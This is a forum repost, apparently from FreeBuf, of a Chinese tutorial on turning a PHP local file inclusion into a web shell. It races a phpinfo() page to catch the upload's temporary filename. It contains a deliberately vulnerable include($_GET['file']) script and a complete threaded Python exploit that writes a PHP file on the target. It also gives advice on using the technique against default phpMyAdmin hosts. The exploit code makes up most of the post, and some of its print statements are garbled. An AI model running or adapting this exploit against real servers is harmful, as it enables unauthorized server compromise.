天喵上国 發表於 2020-8-13 09:31:00

PHP本地文件包含漏洞GetShell(突破极限)

<div id="tinymce-editor" class="content-detail" data-v-0192575a="">
<div>
<p>让我们突破重重苛刻环境GetShell,文中有以phpmyadmin包含漏洞做演示。</p>
<p>PS:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。</p>
<h2 id="h2-2">漏洞背景&nbsp;</h2>
<p>当您在发现PHP本地文件包含漏洞的时候,却尴尬于没有上传点,或者受到base_dir的限制,可以尝试用如下操作进行突破。</p>
<h2 id="h2-3">利用条件</h2>
<p>1.存在PHP文件包含漏洞</p>
<p>2.存在PHPINFO泄漏页面,或者其他debug泄漏,获取tmp_name值</p>
<h2 id="h2-4">漏洞复现</h2>
<blockquote>
<p>&nbsp; &nbsp; &nbsp; &nbsp;演示环境:Windows&nbsp; + php 5.6&nbsp; &nbsp;</p>
</blockquote>
<h2 id="h2-5">0x01:PHP文件上传</h2>
<p>example:</p>
<pre><code>&lt;?php

if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&amp;&amp; ($_FILES["file"]["size"] &lt; 20000))
{
if ($_FILES["file"]["error"] &gt; 0)
    {
    echo "Error: " . $_FILES["file"]["error"] . "&lt;br /&gt;";
    }
else
    {
    echo "Upload: " . $_FILES["file"]["name"] . "&lt;br /&gt;";
    echo "Type: " . $_FILES["file"]["type"] . "&lt;br /&gt;";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb&lt;br /&gt;";
    echo "Stored in: " . $_FILES["file"]["tmp_name"];
    }
}
else
{
echo "Invalid file";
}

?&gt;</code></pre>
<p>上面的例子在服务器的 PHP 临时文件夹创建了一个被上传文件的临时副本,但是并没有保存,</p>
<p>上传文件名以php&nbsp; + random(6) 进行拼接</p>
<p>在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件</p>
<p>这个文件在生成的瞬间又被删除,利用条件竞争进行包含&nbsp; &nbsp;&nbsp;</p>
<h2 id="h2-6">0x02:获取临时文件名</h2>
<p>phpinfo() 会打印出所有请求的变量,所以我们只需要向phpinfo 发送 上传文件的数据包,就可以获取到临时文件名</p>
<p><img src="https://image.3001.net/images/20200408/1586312137_5e8d33c93e944.png!small"></p>
<p>但是文件删除的速度很快,导致条件竞争很难利用,通过学习P牛师傅的文章,</p>
<p>需要用到条件竞争,具体流程如下:</p>
<blockquote>
<p>1.php默认的缓冲区大小为4096,每次返回的socket连接为4096字节</p>
<p>2.因为phpinfo 会打印出所有接收的数据,我们需要发送垃圾数据,让Response回显的内容很大</p>
<p>3.利用原生的socket 建立连接,控制返回,每次只读取4096字节,只要获取到文件名,就立马发送第二个数据包</p>
<p>4.此时第一个socket连接并没有结束,所以可以利用这个时间差,进行条件竞争,利用文件包含漏洞进行getshell</p>
</blockquote>
<h2 id="h2-7">复现</h2>
<p>phpinfo.php</p>
<pre><code>&lt;?php phpinfo();?&gt;</code></pre>
<p>lfi.php</p>
<pre><code>&lt;?php
$a=$_GET['file'];
include($a);
?&gt;</code></pre>
<p>利用脚本,windows 环境下&nbsp; //我这边是windows 环境测试,主要修改切片获取的文件名,然后根据具体实战环境去修改REQ1 REQ2</p>
<pre><code>#!/usr/bin/python
import sys
import threading
import socket


def setup(host, port):
&nbsp; &nbsp; TAG = "Security Test"
&nbsp; &nbsp; PAYLOAD = """%s\r
&lt;?php file_put_contents('aaa.php','&lt;?php phpinfo();?&gt;');?&gt;\r""" % TAG
&nbsp; &nbsp; REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
&nbsp; &nbsp; padding = "A" * 5000
&nbsp; &nbsp; REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=aqf2ev7vo5puq7bpbnihcs0pbdanfo1j; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
&nbsp; &nbsp; # modify this to suit the LFI script
&nbsp; &nbsp; LFIREQ = """GET /ec.php?file=%s HTTP/1.1\r
Cookie: xxxx\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""

&nbsp; &nbsp; return (REQ1, TAG, LFIREQ)


def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
&nbsp; &nbsp; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
&nbsp; &nbsp; s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

&nbsp; &nbsp; s.connect((host, port))
&nbsp; &nbsp; s2.connect((host, port))

&nbsp; &nbsp; s.send(phpinforeq)
&nbsp; &nbsp; d = ""
&nbsp; &nbsp; while len(d) &lt; offset:
&nbsp; &nbsp; &nbsp; &nbsp; d += s.recv(offset)
&nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; i = d.index(" =&amp;gt; ")
&nbsp; &nbsp; &nbsp; &nbsp; fn = d
&nbsp; &nbsp; &nbsp; &nbsp; print(fn)
&nbsp; &nbsp; except ValueError:
&nbsp; &nbsp; &nbsp; &nbsp; return None

&nbsp; &nbsp; s2.send(lfireq % (fn, host))
&nbsp; &nbsp; d = s2.recv(4096)
&nbsp; &nbsp; print(lfireq % (fn, host))
&nbsp; &nbsp; print(d)
&nbsp; &nbsp; s.close()
&nbsp; &nbsp; s2.close()

&nbsp; &nbsp; if d.find(tag) != -1:
&nbsp; &nbsp; &nbsp; &nbsp; return fn


counter = 0


class ThreadWorker(threading.Thread):
&nbsp; &nbsp; def __init__(self, e, l, m, *args):
&nbsp; &nbsp; &nbsp; &nbsp; threading.Thread.__init__(self)
&nbsp; &nbsp; &nbsp; &nbsp; self.event = e
&nbsp; &nbsp; &nbsp; &nbsp; self.lock = l
&nbsp; &nbsp; &nbsp; &nbsp; self.maxattempts = m
&nbsp; &nbsp; &nbsp; &nbsp; self.args = args

&nbsp; &nbsp; def run(self):
&nbsp; &nbsp; &nbsp; &nbsp; global counter
&nbsp; &nbsp; &nbsp; &nbsp; while not self.event.is_set():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; with self.lock:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if counter &gt;= self.maxattempts:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; counter += 1

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x = phpInfoLFI(*self.args)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if self.event.is_set():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if x:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\nGot it! Shell created in /tmp/g"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.event.set()

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; except socket.error:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return


def getOffset(host, port, phpinforeq):
&nbsp; &nbsp; """Gets offset of tmp_name in the php output"""
&nbsp; &nbsp; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
&nbsp; &nbsp; s.connect((host, port))
&nbsp; &nbsp; s.send(phpinforeq)

&nbsp; &nbsp; d = ""
&nbsp; &nbsp; while True:
&nbsp; &nbsp; &nbsp; &nbsp; i = s.recv(4096)
&nbsp; &nbsp; &nbsp; &nbsp; d += i
&nbsp; &nbsp; &nbsp; &nbsp; if i == "":
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break
&nbsp; &nbsp; &nbsp; &nbsp; # detect the final chunk
&nbsp; &nbsp; &nbsp; &nbsp; if i.endswith("0\r\n\r\n"):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break
&nbsp; &nbsp; s.close()
&nbsp; &nbsp; i = d.find(" =&amp;gt; ")
&nbsp; &nbsp; if i == -1:
&nbsp; &nbsp; &nbsp; &nbsp; raise ValueError("No php tmp_name in phpinfo output")

&nbsp; &nbsp; print
&nbsp; &nbsp; "found %s at %i" % (d, i)
&nbsp; &nbsp; # padded up a bit
&nbsp; &nbsp; return i + 256


def main():
&nbsp; &nbsp; print
&nbsp; &nbsp; "LFI With PHPInfo()"
&nbsp; &nbsp; print
&nbsp; &nbsp; "-=" * 30

&nbsp; &nbsp; if len(sys.argv) &lt; 2:
&nbsp; &nbsp; &nbsp; &nbsp; print
&nbsp; &nbsp; &nbsp; &nbsp; "Usage: %s host " % sys.argv
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

&nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; host = socket.gethostbyname(sys.argv)
&nbsp; &nbsp; except socket.error, e:
&nbsp; &nbsp; &nbsp; &nbsp; print
&nbsp; &nbsp; &nbsp; &nbsp; "Error with hostname %s: %s" % (sys.argv, e)
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

&nbsp; &nbsp; port = 80
&nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; port = int(sys.argv)
&nbsp; &nbsp; except IndexError:
&nbsp; &nbsp; &nbsp; &nbsp; pass
&nbsp; &nbsp; except ValueError as e:
&nbsp; &nbsp; &nbsp; &nbsp; print
&nbsp; &nbsp; &nbsp; &nbsp; "Error with port %d: %s" % (sys.argv, e)
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

&nbsp; &nbsp; poolsz = 10
&nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; poolsz = int(sys.argv)
&nbsp; &nbsp; except IndexError:
&nbsp; &nbsp; &nbsp; &nbsp; pass
&nbsp; &nbsp; except ValueError, e:
&nbsp; &nbsp; &nbsp; &nbsp; print
&nbsp; &nbsp; &nbsp; &nbsp; "Error with poolsz %d: %s" % (sys.argv, e)
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

&nbsp; &nbsp; print
&nbsp; &nbsp; "Getting initial offset...",
&nbsp; &nbsp; reqphp, tag, reqlfi = setup(host, port)
&nbsp; &nbsp; offset = getOffset(host, port, reqphp)
&nbsp; &nbsp; sys.stdout.flush()

&nbsp; &nbsp; maxattempts = 1000
&nbsp; &nbsp; e = threading.Event()
&nbsp; &nbsp; l = threading.Lock()

&nbsp; &nbsp; print
&nbsp; &nbsp; "Spawning worker pool (%d)..." % poolsz
&nbsp; &nbsp; sys.stdout.flush()

&nbsp; &nbsp; tp = []
&nbsp; &nbsp; for i in range(0, poolsz):
&nbsp; &nbsp; &nbsp; &nbsp; tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))

&nbsp; &nbsp; for t in tp:
&nbsp; &nbsp; &nbsp; &nbsp; t.start()
&nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; while not e.wait(1):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if e.is_set():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; with l:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.flush()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if counter &gt;= maxattempts:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break
&nbsp; &nbsp; &nbsp; &nbsp; print
&nbsp; &nbsp; &nbsp; &nbsp; if e.is_set():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "Woot!&nbsp; \m/"
&nbsp; &nbsp; &nbsp; &nbsp; else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ":("
&nbsp; &nbsp; except KeyboardInterrupt:
&nbsp; &nbsp; &nbsp; &nbsp; print
&nbsp; &nbsp; &nbsp; &nbsp; "\nTelling threads to shutdown..."
&nbsp; &nbsp; &nbsp; &nbsp; e.set()

&nbsp; &nbsp; print
&nbsp; &nbsp; "Shuttin' down..."
&nbsp; &nbsp; for t in tp:
&nbsp; &nbsp; &nbsp; &nbsp; t.join()


if __name__ == "__main__":
&nbsp; &nbsp; main()
</code></pre>
<p>GetShell:</p>
<p><img src="https://image.3001.net/images/20200408/1586314714_5e8d3dda856dc.png!small"></p>
<p>参数: target_host&nbsp; port thread&nbsp;</p>
<p>此时的aaa.php 并不存在,我将写入一个aaa.php 内容为</p>
<p><img src="https://image.3001.net/images/20200408/1586314740_5e8d3df40ce12.png!small"></p>
<p>Run:&nbsp; &nbsp;</p>
<p><img src="https://image.3001.net/images/20200408/1586313956_5e8d3ae4cc9aa.png!small">可以看到,temp已经产生了临时文件,(手快抓到的,临时文件会很快删除)</p>
<p>刷新访问 aaa.php</p>
<p><img src="https://image.3001.net/images/20200408/1586314595_5e8d3d638f10c.png!small"></p>
<p>实战场景:</p>
<p>默认phpmyadmin,加phpinfo 探针(某主机默认建站环境)</p>
<blockquote>
<p>1.利用phpmyadmin 的文件包含漏洞,</p>
<p>2.通过探针页面,发送上传包,获取临时文件名,</p>
<p>3.条件竞争 getshell</p>
</blockquote>
<p>(有大哥可能会问我,为什么不包含日志等,因为我遇到了open_basedir,限制很死)</p>
<p>踩坑日记:</p>
<p>mysql写在tmp的文件,www用户无权限读取。</p>
<p>open_basedir 限制php包含路径。</p>
<p>无上传点,所以利用该漏洞进行突破极限~</p>
<p>PY:记得把py脚本改改,切片在windows下获取文件名 会踩坑,用re就好了,有点懒,我就简单改了一下临时用,大哥们操作的时候记得改一下。</p>
<h2 id="h2-8">参考</h2>
<blockquote>
<p>公众号:EDISEC 漏洞挖掘(具体链接好像被删了.....)</p>
<p>https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf</p>
<p>https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md</p>
</blockquote>
</div>
</div>
<div class="other-panel" data-v-0192575a="">&nbsp;</div>
<div class="tags-panel" data-v-0192575a="">
<p data-v-0192575a=""><span data-v-0192575a="">本文作者:echod1, 来自&nbsp;<span data-v-0192575a="">FreeBuf</span></span></p>
</div><br><br>
来源:https://www.cnblogs.com/0daybug/p/13494550.html
頁: [1]
查看完整版本: PHP本地文件包含漏洞GetShell(突破极限)